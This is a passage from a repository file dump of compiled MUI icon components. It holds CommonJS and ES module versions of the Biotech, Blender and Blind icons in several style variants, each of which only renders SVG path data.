    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19c-1.1 0-2 .9-2 2h14c0-1.1-.9-2-2-2h-4v-2h3c1.1 0 2-.9 2-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.46-2.56C8.17 9.03 8 8.54 8 8c0-.21.04-.42.09-.62C6.28 8.13 5 9.92 5 12c0 2.76 2.24 5 5 5v2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.56 5.51C11.91 5.54 13 6.64 13 8c0 .75-.33 1.41-.85 1.87l.59 1.62.94-.34.34.94 1.88-.68-.34-.94.94-.34-2.74-7.53-.94.34-.34-.94-1.88.68.34.94-.94.35z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10.5\",\n  cy: \"8\",\n  r: \"1.5\"\n}, \"2\")], 'Biotech');"
  },
  {
    "path": "packages/mui-icons-material/lib/Biotech.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19c-1.1 0-2 .9-2 2h14c0-1.1-.9-2-2-2h-4v-2h3c1.1 0 2-.9 2-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.46-2.56C8.17 9.03 8 8.54 8 8c0-.21.04-.42.09-.62C6.28 8.13 5 9.92 5 12c0 2.76 2.24 5 5 5v2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.56 5.51C11.91 5.54 13 6.64 13 8c0 .75-.33 1.41-.85 1.87l.59 1.62.94-.34.34.94 1.88-.68-.34-.94.94-.34-2.74-7.53-.94.34-.34-.94-1.88.68.34.94-.94.35z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10.5\",\n  cy: \"8\",\n  r: \"1.5\"\n}, \"2\")], 'Biotech');"
  },
  {
    "path": "packages/mui-icons-material/lib/BiotechOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19c-1.1 0-2 .9-2 2h14c0-1.1-.9-2-2-2h-4v-2h3c1.1 0 2-.9 2-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.47-2.57.41.59 1.06 1 1.83 1.06.7.06 1.36-.19 1.85-.62l.59 1.61.94-.34.34.94 1.88-.68-.34-.94.94-.34-2.74-7.52-.94.34-.34-.94-1.88.68.34.94-.94.35.56 1.55c-1.17-.04-2.19.75-2.48 1.86C6.27 8.14 5 9.92 5 12c0 2.76 2.24 5 5 5v2zm5.86-14.48 1.71 4.7-.94.34-1.71-4.7zM10.5 7c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'BiotechOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BiotechOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19c-1.1 0-2 .9-2 2h14c0-1.1-.9-2-2-2h-4v-2h3c1.1 0 2-.9 2-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.47-2.57.41.59 1.06 1 1.83 1.06.7.06 1.36-.19 1.85-.62l.59 1.61.94-.34.34.94 1.88-.68-.34-.94.94-.34-2.74-7.52-.94.34-.34-.94-1.88.68.34.94-.94.35.56 1.55c-1.17-.04-2.19.75-2.48 1.86C6.27 8.14 5 9.92 5 12c0 2.76 2.24 5 5 5v2zm5.86-14.48 1.71 4.7-.94.34-1.71-4.7zM10.5 7c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'BiotechOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BiotechRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19c-1.1 0-2 .9-2 2h14c0-1.1-.9-2-2-2h-4v-2h3c1.1 0 2-.9 2-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.46-2.56C8.17 9.03 8 8.54 8 8c0-.21.04-.42.09-.62C6.28 8.13 5 9.92 5 12c0 2.76 2.24 5 5 5v2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.56 5.51C11.91 5.54 13 6.64 13 8c0 .75-.33 1.41-.85 1.87l.25.68c.19.52.76.79 1.28.6.19.52.76.79 1.28.6s.79-.76.6-1.28c.52-.19.79-.76.6-1.28L14.1 3.54c-.19-.52-.76-.79-1.28-.6-.19-.52-.76-.79-1.28-.6s-.79.76-.6 1.28c-.52.19-.79.76-.6 1.28z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10.5\",\n  cy: \"8\",\n  r: \"1.5\"\n}, \"2\")], 'BiotechRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BiotechRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19c-1.1 0-2 .9-2 2h14c0-1.1-.9-2-2-2h-4v-2h3c1.1 0 2-.9 2-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.46-2.56C8.17 9.03 8 8.54 8 8c0-.21.04-.42.09-.62C6.28 8.13 5 9.92 5 12c0 2.76 2.24 5 5 5v2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.56 5.51C11.91 5.54 13 6.64 13 8c0 .75-.33 1.41-.85 1.87l.25.68c.19.52.76.79 1.28.6.19.52.76.79 1.28.6s.79-.76.6-1.28c.52-.19.79-.76.6-1.28L14.1 3.54c-.19-.52-.76-.79-1.28-.6-.19-.52-.76-.79-1.28-.6s-.79.76-.6 1.28c-.52.19-.79.76-.6 1.28z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10.5\",\n  cy: \"8\",\n  r: \"1.5\"\n}, \"2\")], 'BiotechRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BiotechSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 19v-2h5v-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.46-2.56C8.17 9.03 8 8.54 8 8c0-.21.04-.42.09-.62C6.28 8.13 5 9.92 5 12c0 2.76 2.24 5 5 5v2H5v2h14v-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.56 5.51C11.91 5.54 13 6.64 13 8c0 .75-.33 1.41-.85 1.87l.59 1.62.94-.34.34.94 1.88-.68-.34-.94.94-.34-2.74-7.53-.94.34-.34-.94-1.88.68.34.94-.94.35z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10.5\",\n  cy: \"8\",\n  r: \"1.5\"\n}, \"2\")], 'BiotechSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BiotechSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 19v-2h5v-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.46-2.56C8.17 9.03 8 8.54 8 8c0-.21.04-.42.09-.62C6.28 8.13 5 9.92 5 12c0 2.76 2.24 5 5 5v2H5v2h14v-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.56 5.51C11.91 5.54 13 6.64 13 8c0 .75-.33 1.41-.85 1.87l.59 1.62.94-.34.34.94 1.88-.68-.34-.94.94-.34-2.74-7.53-.94.34-.34-.94-1.88.68.34.94-.94.35z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10.5\",\n  cy: \"8\",\n  r: \"1.5\"\n}, \"2\")], 'BiotechSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BiotechTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.9247 4.8613.9397-.342 1.71 4.6985-.9397.342z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10.5\",\n  cy: \"8\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19c-1.1 0-2 .9-2 2h14c0-1.1-.9-2-2-2h-4v-2h3c1.1 0 2-.9 2-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.47-2.57.41.59 1.06 1 1.83 1.06.7.06 1.36-.19 1.85-.62l.59 1.61.94-.34.34.94 1.88-.68-.34-.94.94-.34-2.74-7.52-.94.34-.34-.94-1.88.68.34.94-.94.35.56 1.55c-1.17-.04-2.19.75-2.48 1.86C6.27 8.14 5 9.92 5 12c0 2.76 2.24 5 5 5v2zm5.86-14.48 1.71 4.7-.94.34-1.71-4.7zM10.5 7c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"2\")], 'BiotechTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BiotechTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.9247 4.8613.9397-.342 1.71 4.6985-.9397.342z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10.5\",\n  cy: \"8\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19c-1.1 0-2 .9-2 2h14c0-1.1-.9-2-2-2h-4v-2h3c1.1 0 2-.9 2-2h-8c-1.66 0-3-1.34-3-3 0-1.09.59-2.04 1.47-2.57.41.59 1.06 1 1.83 1.06.7.06 1.36-.19 1.85-.62l.59 1.61.94-.34.34.94 1.88-.68-.34-.94.94-.34-2.74-7.52-.94.34-.34-.94-1.88.68.34.94-.94.35.56 1.55c-1.17-.04-2.19.75-2.48 1.86C6.27 8.14 5 9.92 5 12c0 2.76 2.24 5 5 5v2zm5.86-14.48 1.71 4.7-.94.34-1.71-4.7zM10.5 7c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"2\")], 'BiotechTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Blender.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.13 15.13 18 3h-4V2h-4v1H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2.23l.64 4.13C6.74 16.05 6 17.43 6 19v1c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1c0-1.57-.74-2.95-1.87-3.87M5 9V5h1.31l.62 4zm7 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.29-5H9.72L8.33 5h7.34z\"\n}), 'Blender');"
  },
  {
    "path": "packages/mui-icons-material/lib/Blender.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.13 15.13 18 3h-4V2h-4v1H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2.23l.64 4.13C6.74 16.05 6 17.43 6 19v1c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1c0-1.57-.74-2.95-1.87-3.87M5 9V5h1.31l.62 4zm7 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.29-5H9.72L8.33 5h7.34z\"\n}), 'Blender');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlenderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.13 15.13 18 3h-4V2h-4v1H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2.23l.64 4.13C6.74 16.05 6 17.43 6 19v1c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1c0-1.57-.74-2.95-1.87-3.87M5 9V5h1.31l.62 4zm10.67-4-1.38 9H9.72L8.33 5zM16 20H8v-1c0-1.65 1.35-3 3-3h2c1.65 0 3 1.35 3 3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"18\",\n  r: \"1\"\n}, \"1\")], 'BlenderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlenderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.13 15.13 18 3h-4V2h-4v1H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2.23l.64 4.13C6.74 16.05 6 17.43 6 19v1c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1c0-1.57-.74-2.95-1.87-3.87M5 9V5h1.31l.62 4zm10.67-4-1.38 9H9.72L8.33 5zM16 20H8v-1c0-1.65 1.35-3 3-3h2c1.65 0 3 1.35 3 3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"18\",\n  r: \"1\"\n}, \"1\")], 'BlenderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlenderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.13 15.13 1.69-10.98c.1-.6-.37-1.15-.99-1.15H14c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2.23l.64 4.13C6.74 16.05 6 17.43 6 19v1c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1c0-1.57-.74-2.95-1.87-3.87M5 9V5h1.31l.62 4zm7 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.29-5H9.72L8.33 5h7.34z\"\n}), 'BlenderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlenderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.13 15.13 1.69-10.98c.1-.6-.37-1.15-.99-1.15H14c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2.23l.64 4.13C6.74 16.05 6 17.43 6 19v1c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1c0-1.57-.74-2.95-1.87-3.87M5 9V5h1.31l.62 4zm7 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.29-5H9.72L8.33 5h7.34z\"\n}), 'BlenderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlenderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3h-4V2h-4v1H3v8h4.23l.64 4.13L6 17v5h12v-5l-1.87-1.87zM5 9V5h1.31l.62 4zm7 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.29-5H9.72L8.33 5h7.34z\"\n}), 'BlenderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlenderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 3h-4V2h-4v1H3v8h4.23l.64 4.13L6 17v5h12v-5l-1.87-1.87zM5 9V5h1.31l.62 4zm7 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.29-5H9.72L8.33 5h7.34z\"\n}), 'BlenderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlenderTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 16h-2c-1.65 0-3 1.35-3 3v1h8v-1c0-1.65-1.35-3-3-3m-1 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.13 15.13 18 3h-4V2h-4v1H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2.23l.64 4.13C6.74 16.05 6 17.43 6 19v1c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1c0-1.57-.74-2.95-1.87-3.87M5 9V5h1.31l.62 4zm10.67-4-1.38 9H9.72L8.33 5zM16 20H8v-1c0-1.65 1.35-3 3-3h2c1.65 0 3 1.35 3 3z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"18\",\n  r: \"1\"\n}, \"2\")], 'BlenderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlenderTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 16h-2c-1.65 0-3 1.35-3 3v1h8v-1c0-1.65-1.35-3-3-3m-1 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.13 15.13 18 3h-4V2h-4v1H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2.23l.64 4.13C6.74 16.05 6 17.43 6 19v1c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1c0-1.57-.74-2.95-1.87-3.87M5 9V5h1.31l.62 4zm10.67-4-1.38 9H9.72L8.33 5zM16 20H8v-1c0-1.65 1.35-3 3-3h2c1.65 0 3 1.35 3 3z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"18\",\n  r: \"1\"\n}, \"2\")], 'BlenderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Blind.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.13 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01L4 9.3V14h2v-3.54l1.5-.85C7.18 10.71 7 11.85 7 13v5.33L4.4 21.8 6 23l3-4 .22-3.54L11 18v5h2v-6.5l-1.97-2.81c-.04-.52-.14-1.76.45-3.4.75 1.14 1.88 1.98 3.2 2.41L20.63 23l.87-.5-5.48-9.5H17v-2c-.49 0-2.88.17-4.08-2.21\"\n}, \"1\")], 'Blind');"
  },
  {
    "path": "packages/mui-icons-material/lib/Blind.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.13 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01L4 9.3V14h2v-3.54l1.5-.85C7.18 10.71 7 11.85 7 13v5.33L4.4 21.8 6 23l3-4 .22-3.54L11 18v5h2v-6.5l-1.97-2.81c-.04-.52-.14-1.76.45-3.4.75 1.14 1.88 1.98 3.2 2.41L20.63 23l.87-.5-5.48-9.5H17v-2c-.49 0-2.88.17-4.08-2.21\"\n}, \"1\")], 'Blind');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.13 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01L4 9.3V14h2v-3.54l1.5-.85C7.18 10.71 7 11.85 7 13v5.33L4.4 21.8 6 23l3-4 .22-3.54L11 18v5h2v-6.5l-1.97-2.81c-.04-.52-.14-1.76.45-3.4.75 1.14 1.88 1.98 3.2 2.41L20.63 23l.87-.5-5.48-9.5H17v-2c-.49 0-2.88.17-4.08-2.21\"\n}, \"1\")], 'BlindOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.13 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01L4 9.3V14h2v-3.54l1.5-.85C7.18 10.71 7 11.85 7 13v5.33L4.4 21.8 6 23l3-4 .22-3.54L11 18v5h2v-6.5l-1.97-2.81c-.04-.52-.14-1.76.45-3.4.75 1.14 1.88 1.98 3.2 2.41L20.63 23l.87-.5-5.48-9.5H17v-2c-.49 0-2.88.17-4.08-2.21\"\n}, \"1\")], 'BlindOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.41\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.04 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01l-4.39 2.5c-.62.35-1.01 1.01-1.01 1.73V13c0 .55.45 1 1 1s1-.45 1-1v-2.54l1.5-.85c-.32 1.1-.5 2.24-.5 3.39v5.33l-2 2.67c-.33.44-.24 1.07.2 1.4s1.07.24 1.4-.2l2.04-2.72c.23-.31.37-.69.4-1.08l.18-2.94L10.91 18v4c0 .55.45 1 1 1s1-.45 1-1v-4.87c0-.41-.13-.81-.36-1.15l-1.6-2.29v-.01c-.11-1.16.07-2.32.46-3.4.75 1.14 1.88 1.98 3.2 2.41l5.7 9.87c.14.24.44.32.68.18s.32-.44.18-.68L15.92 13c.54 0 .98-.44.98-.98v-.05c0-.5-.37-.94-.87-.99-.95-.1-2.37-.52-3.21-2.18\"\n}, \"1\")], 'BlindRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindRounded.mjs",
